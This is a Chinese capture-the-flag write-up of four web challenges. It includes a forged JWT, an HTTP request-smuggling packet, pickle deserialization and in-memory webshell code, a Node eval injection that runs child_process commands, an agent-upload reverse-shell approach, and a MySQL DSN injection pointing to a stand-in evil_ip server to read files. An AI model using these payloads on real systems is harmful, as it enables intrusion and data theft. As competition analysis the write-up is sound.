d3pythonhttp

解决,一血

jwt绕过

def get_key(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
    except:
        pass
    print(key)
    return key

def verify_token(token):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]
    key = get_key(kid)
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        return True
    except:
        return False

验证jwt时kid控制密钥文件路径,如果设置的密钥文件不存在,则key为空,所以构造空秘钥以及一个不存在的文件即可:

print(jwt.encode({"username":"admin","isadmin":true}, key, algorithm="HS256", headers={"kid": "frontend_keyasdasd"}))

# eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kX2tleWFzZGFzZCIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNhZG1pbiI6dHJ1ZX0.LmTEt2GD0-nVv-yvf7Dc0lNAlQqBj9FYBb932_UWO6M

解析差异

一种做法是TE-CL请求走私。不过我用的是另一种办法:前端使用Flask,后端使用web.py存在解析差异。
经测试发现:前段对于chunked不分大小写,后端会区分。前端只进行分块传输,忽略Content-Length。而后端会先分块,再根据Content-Length截取,前端会把Content-Length直接发送给后端。

headers = {key: value for (key, value) in request.headers if key != 'Host'}

除了Host以外的header都发往后端了包括Content-Length,且前端不进行计算验证。 数据包:

POST /admin HTTP/1.1
Host: 192.168.72.137:8081
Content-Length: 192
Cookie: token=eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kX2tleWFzZGFzZCIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNhZG1pbiI6dHJ1ZX0.LmTEt2GD0-nVv-yvf7Dc0lNAlQqBj9FYBb932_UWO6M
Transfer-Encoding: chunKed

dc
<base64payload...长度为192>BackdoorPasswordOnlyForAdmin
0

后端只读取前192个字符,后面的BackdoorPasswordOnlyForAdmin被舍弃。绕过。
base64解码后pickle反序列化。

import pickle
import os
import base64

payload = """
print(1)
"""

class test:
    def __reduce__(self):
        return (exec,(payload,))
    
a = test()
b = base64.b64encode(pickle.dumps(a))

print(b)

突破内网

题目不出网,可以试试整个类似内存马的东西(从dubhe ctf 2024中学到的)。
后端存在以下路由:

urls = (
    '/', 'index',
    '/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())

class index:
    def GET(self):
        return "welcome to the backend!"

对应前端代码:

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
    forward_url = "python-backend:8080"
    conn = http.client.HTTPConnection(forward_url)
    method = request.method
    headers = {key: value for (key, value) in request.headers if key != "Host"}
    data = request.data
    path = "/"
    if request.query_string:
        path += "?" + request.query_string.decode()
    conn.request(method, path, body=data, headers=headers)
    response = conn.getresponse()
    return response.read()
response = conn.getresponse()

这段代码意味着后端处理的数据后会回显到前端,而/backdoor路由不会,所以我们可以将后端index路由覆盖为内存马。
使用exec函数执行以下python代码就可以将index路由的GET方法覆盖(asd参数要保留,因为服务器调用的时候会传一个self参数):

def test(asd):
    return "pwned"
index.GET = test

1 访问index路由是可以带get参数:

if request.query_string:
    path += "?" + request.query_string.decode()

所以内存马实现如下:

def test(asd):
    cmd = web.input().cmd
    return __import__('os').popen(cmd).read()
index.GET = test

2

stack_overflow

解决,一血

题目用nodejs模拟了一个栈溢出。 关键代码:

let respond = {}

let stack = []

let getStack = function (address) {
    if (address - pie >= 0 && address - pie < 0x10000) return stack[address - pie]
    return 0
}

let getIndex = function (address) {
    return address - pie
}

let read = function (fd, buf, count) {
    let ori = req.body[fd]
    if (ori.length < count) {
        count = ori.length
    }

    if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})

    for (let i = 0; i < count; i++){
        if (waf(ori[i])) return res.json({"err": "hack!"})
        stack[getIndex(buf) + i] = ori[i]
    }
}

let write = function (fd, buf, count) {
    if (!respond.hasOwnProperty(fd)) {
        respond[fd] = []
    }
    for (let i = 0; i < count; i++){
        respond[fd].push(getStack(buf + i))   
    }
}

let run = function (address) {
    let continuing = 1;
    while (continuing) {
        switch (getStack(address)) {
            case "read":
                let r_fd = stack.pop()
                let read_addr = stack.pop()
                if (read_addr.startsWith("{{") && read_addr.endsWith("}}")) {
                    read_addr = pie + eval(read_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
                }
                read(r_fd, parseInt(read_addr), parseInt(stack.pop()))
                break;
            case "write":
                let w_fd = stack.pop()
                let write_addr = stack.pop()
                if (write_addr.startsWith("{{") && write_addr.endsWith("}}")) {
                    write_addr = pie + eval(write_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
                }
                write(w_fd, parseInt(write_addr), parseInt(stack.pop()))
                break;
            case "exit":
                continuing = 0;
                break;
            case "call_interface":
                let numOfArgs = stack.pop()
                let cmd = stack.pop()
                let args = []
                for (let i = 0; i < numOfArgs; i++) {
                    args.push(stack.pop())
                }
                cmd += "('"  + args.join("','") + "')"
                let result = vm.runInNewContext(cmd)
                stack.push(result.toString())
                break;
            case "push":
                let numOfElem = stack.pop()
                let elemAddr = parseInt(stack.pop())
                for (let i = 0; i < numOfElem; i++) {
                    stack.push(getStack(elemAddr + i))
                }
                break;
            default:
                stack.push(getStack(address))
                break;
        }
        address += 1
    }
}
    let code = `0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){  return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`
    
code = code.split('\n');
for (let i = 0; i < code.length; i++){
    stack.push(code[i])
    if (stack[i].startsWith("[[") && stack[i].endsWith("]]")) {
        stack[i] = (pie + eval(stack[i].slice(2,-2).replace("short", i.toString()))).toString()
    }
}
run(pie + 0)
return res.json(respond)

首先第一步操作read,从stdin读取,地址为[[ 0 ]] => pie,最大读取长度为28。但是code初始只给了20个0空位,也就是说如果读入28个,正好会把第二个操作write的读取地址覆盖,也就是可以控制write函数的读取地址。
waf过滤不全:

function waf(str) {
    let pattern = /(call_interface)|\{\{.*?\}\}/g;
    return str.match(pattern)
}

仔细看write函数,如果地址以{{开头,}}结尾,会将中间的数据传给eval函数而正则表达式.*不能匹配换行,所以可以直接使用{{\nrequire('child_process').exec('id')}}执行命令。read函数可以是字符串也可以是数组,所以可以传此地址。第28位为要执行的命令,27位为传入的数据的长度,写28。

{"stdin":["a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","28","{{\nrequire('child_process').exec('ls / > /app/index.html')}}"]}

3 题目环境有个奇怪的地方,本地环境需要/readflag,直接读flag读不出来,但远程环境/readflag读不出来,直接读flag却可以了,dockerfile里的root用户密码也没用上,感觉怪怪的。

moonbox

解决

题目给了个moonbox的后台,flag在moonbox-server容器内。
官方的流程图(录制模式) 4 moonbox有自定义agent的功能,官方文档:

已修改moonbox-agent
如修改过moonbox-agent代码,那么需要把修改过的agent代码重新打包。打包步骤如下
step1:maven打包(可选)
执行 mvn clean install操作
step2:打包moonbox-agent
执行打包命令,命令路径为 /moonbox-agent/moonbox-java-agent/bin
sh ./install-local-agent.sh
step3:agent包上传
moonbox-agent “文件更新”上传包,可以选择step2打包生成的 agengt文件即可。

根据流程,我们可以修改agent能够在JVM所在机器中执行任意shell脚本。
不过呢,使用mvn打包的话容易报错,直接在.sandbox-module/bin/start-remote-agent.sh中写入反弹shell的命令。然后打包上传即可(moonbox-agent)。 目录结构:

.sandbox-module/
    bin/
        install-local-agent.sh
        start-remote-agent.sh

正常版本在local-agent目录下,可以参考着改。

有个坑,nginx不允许传大文件,可以把除shell脚本以外的文件删除,不影响执行。
连接JVM机器需要ssh连接,而容器ssh为弱口令root:123456,配置好录制流量即可执行shell脚本。

Doctor

未解决

默认密码和jwt key都改了。

websocket可以绕过部分jwt限制。
对于recoder的验证,如果是websocket直接通过。

func SuperRecorderGroup() yee.HandlerFunc {
	return func(c yee.Context) (err error) {
		if c.IsWebsocket() {
			return nil
		}
		role := new(lib.Token).JwtParse(c)
		if role.IsRecord {
			return
		}
		return c.ServerError(http.StatusForbidden, "非法越权操作!")
	}
}

对于jwt也是

return func(c yee.Context) (err error) {
		// cause upgrade websocket  will clear custom header
		// when header add jwt bearer that panic
		if c.IsWebsocket() {
			return
		}

但是没有SuperManageGroup权限。只能获得普通用户权限。

然后就卡住了~~

赛后复现

越权之后可以访问GET /api/v2/fetch/fields

func FetchTableInfo(c yee.Context) (err error) {
	u := new(_FetchBind)
	if err = c.Bind(u); err != nil {
		c.Logger().Error(err.Error())
		return c.JSON(http.StatusOK, common.ERR_REQ_BIND)
	}

	if u.DataBase != "" && u.Table != "" {
		if err := u.FetchTableFieldsOrIndexes(); err != nil {
			c.Logger().Critical(err.Error())
		}
		return c.JSON(http.StatusOK, common.SuccessPayload(map[string]interface{}{"rows": u.Rows, "idx": u.Idx}))
	}
	return c.JSON(http.StatusOK, common.ERR_COMMON_MESSAGE(errors.New(i18n.DefaultLang.Load(i18n.INFO_LIBRARY_NAME_TABLE_NAME))))
}

调用FetchTableFieldsOrIndexes函数:

func (u *_FetchBind) FetchTableFieldsOrIndexes() error {
	var s model.CoreDataSource

	model.DB().Where("source_id =?", u.SourceId).First(&s)

	ps := lib.Decrypt(model.JWT, s.Password)
	db, err := model.NewDBSub(model.DSN{
		Username: s.Username,
		Password: ps,
		Host:     s.IP,
		Port:     s.Port,
		DBName:   u.DataBase,
		CA:       s.CAFile,
		Cert:     s.Cert,
		Key:      s.KeyFile,
	})
	if err != nil {
		return err
	}

	defer model.Close(db)

	if err := db.Raw(fmt.Sprintf("SHOW FULL FIELDS FROM `%s`.`%s`", u.DataBase, u.Table)).Scan(&u.Rows).Error; err != nil {
		return err
	}

	if err := db.Raw(fmt.Sprintf("SHOW INDEX FROM `%s`.`%s`", u.DataBase, u.Table)).Scan(&u.Idx).Error; err != nil {
		return err
	}
	return nil
}

此时数据库中没有DataSource数据,所以s为空,所以后面的DSN中只有DBName可控。
model.NewDBSub:

func NewDBSub(dsn DSN) (*gorm.DB, error) {
	d, err := InitDSN(dsn)
	if err != nil {
		return nil, err
	}
	db, err := gorm.Open(drive.New(drive.Config{
		DSN:                       d,
		DefaultStringSize:         256,   // string 类型字段的默认长度
		SkipInitializeWithVersion: false, // 根据当前 MySQL 版本自动配置
	}), &gorm.Config{})
	if err != nil {
		return nil, err
	}
	return db, nil
}

InitDSN会将dsn序列化。 InitDSN:

func InitDSN(dsn DSN) (string, error) {
	isTLS := false
	if dsn.CA != "" && dsn.Cert != "" && dsn.Key != "" {
		isTLS = true
		certPool := x509.NewCertPool()
		if ok := certPool.AppendCertsFromPEM([]byte(dsn.CA)); !ok {
			return "", fmt.Errorf("failed to append ca certs")
		}
		clientCert := make([]tls.Certificate, 0, 1)
		certs, err := tls.X509KeyPair([]byte(dsn.Cert), []byte(dsn.Key))
		if err != nil {
			return "", err
		}
		clientCert = append(clientCert, certs)
		_ = mmsql.RegisterTLSConfig("custom", &tls.Config{
			RootCAs:            certPool,
			Certificates:       clientCert,
			InsecureSkipVerify: true,
		})
	}
	cfg := mmsql.Config{
		User:                 dsn.Username,
		Passwd:               dsn.Password,
		Addr:                 fmt.Sprintf("%s:%d", dsn.Host, dsn.Port), //IP:PORT
		Net:                  "tcp",
		DBName:               dsn.DBName,
		Loc:                  time.Local,
		AllowNativePasswords: true,
		ParseTime:            true,
	}
	if isTLS == true {
		cfg.TLSConfig = "custom"
	}
	return cfg.FormatDSN(), nil
}

cfg中依然只有DBName可控。
cfg.FormatDSN():

func (cfg *Config) FormatDSN() string {
	var buf bytes.Buffer

	// [username[:password]@]
	if len(cfg.User) > 0 {
		buf.WriteString(cfg.User)
		if len(cfg.Passwd) > 0 {
			buf.WriteByte(':')
			buf.WriteString(cfg.Passwd)
		}
		buf.WriteByte('@')
	}

	// [protocol[(address)]]
	if len(cfg.Net) > 0 {
		buf.WriteString(cfg.Net)
		if len(cfg.Addr) > 0 {
			buf.WriteByte('(')
			buf.WriteString(cfg.Addr)
			buf.WriteByte(')')
		}
	}

	// /dbname
	buf.WriteByte('/')
	buf.WriteString(cfg.DBName)

	// [?param1=value1&...&paramN=valueN]
	hasParam := false

	if cfg.AllowAllFiles {
		hasParam = true
		buf.WriteString("?allowAllFiles=true")
	}

生成DSN:user:pass@tcp(address:port)/dbname?param=asd,其中dbname可控。
解析DSN时从后往前找斜杠:

func ParseDSN(dsn string) (cfg *Config, err error) {
	// New config with some default values
	cfg = NewConfig()

	// [user[:password]@][net[(addr)]]/dbname[?param1=value1&paramN=valueN]
	// Find the last '/' (since the password or the net addr might contain a '/')

所以设置dbname为user:pass@tcp(evil_ip:port)/test?allowAllFiles=true&可以使服务器连接恶意mysql服务器,前面的原始的address就被忽略了,开启allowAllFiles可以读取文件。